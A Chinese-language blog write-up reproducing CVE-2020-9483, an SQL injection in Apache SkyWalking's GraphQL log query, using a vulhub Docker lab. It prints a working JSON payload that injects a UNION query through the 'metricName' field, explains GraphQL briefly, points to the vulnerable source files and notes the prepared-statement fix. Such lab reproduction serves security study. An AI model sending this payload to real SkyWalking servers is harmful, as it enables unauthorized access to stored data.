CVE-2020-9483 apache skywalking SQL注入漏洞

漏洞概述

当使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。

环境搭建

拉取vulhub

shell 复制代码
git clone https://github.com/vulhub/vulhub.git

搭建镜像

shell 复制代码
cd /vulhub/skywalking/8.3.0-sqli
docker-compose up -d

访问8080端口

漏洞复现

在首页刷新即可抓到报文。

输入payload

复制代码
{
    "query":"query queryLogs($condition: LogQueryCondition) {
  queryLogs(condition: $condition) {
    total
    logs {
      serviceId
      serviceName
      isError
      content
    }
  }
}
",
    "variables":{
        "condition":{
            "metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
                        "endpointId":"1",
                    "traceId":"1",
                    "state":"ALL",
                    "stateCode":"1",
            "paging":{
                "pageSize":10
            }
        }
    }
}

查看返回结果

漏洞复现成功

漏洞原理

源码:https://github.com/apache/skywalking/releases/tag/v8.3.0

graphql是skywalking的一种查询协议,如果请求以下列JSON给出:

复制代码
{
  bookById(id: "book-1"){
    id
    name
    pageCount
    author {
      firstName
      lastName
    }
  }
}

则返回结果为:

复制代码
{
  "bookById": {
    "id":"book-1",
    "name":"Harry Potter and the Philosopher's Stone",
    "pageCount":223,
    "author": {
      "firstName":"Joanne",
      "lastName":"Rowling"
    }
  }
}

通常,graphql中会对对象类型进行定义:

复制代码
type Query {
  bookById(id: ID): Book
}

type Book {
  id: ID
  name: String
  pageCount: Int
  author: Author
}

type Author {
  id: ID
  firstName: String
  lastName: String
}

此次产生漏洞的queryLogs为:

oap-server\server-query-plugin\query-graphql-plugin\src\main\resources\query-protocol\log.graphqls:

(这里不知道为什么下载的源码中没有,只能跑到github上看)

oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java

oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java

采取了直接拼接的方式。

5、修复方法

修复后使用了占位符,即预编译。

相关推荐
ClouGence19 小时前
Oracle 数据同步为什么会出现数据不一致?长事务是常被忽略的原因
数据库·后端·oracle
飞将21 小时前
从零实现数据库(2)——HashIndex + IndexManager
数据库
Nturmoils2 天前
订单列表慢查询,先看 WHERE、ORDER BY 和 LIMIT
数据库
渣波2 天前
拒绝 SQL 焦虑!手把手带你用 NestJS + Prisma + DTO 写出“防弹”级后端代码
javascript·数据库·后端
倔强的石头_3 天前
KingbaseES 新版MySQL 兼容版体验:旧版迁移 + 功能实测
数据库
zzzzzz3104 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
倔强的石头_6 天前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库
云技纵横6 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
冬奇Lab6 天前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm
ClouGence7 天前
Oracle CDC 架构优化:从主库直连到 DataGuard 备库同步
数据库·后端·oracle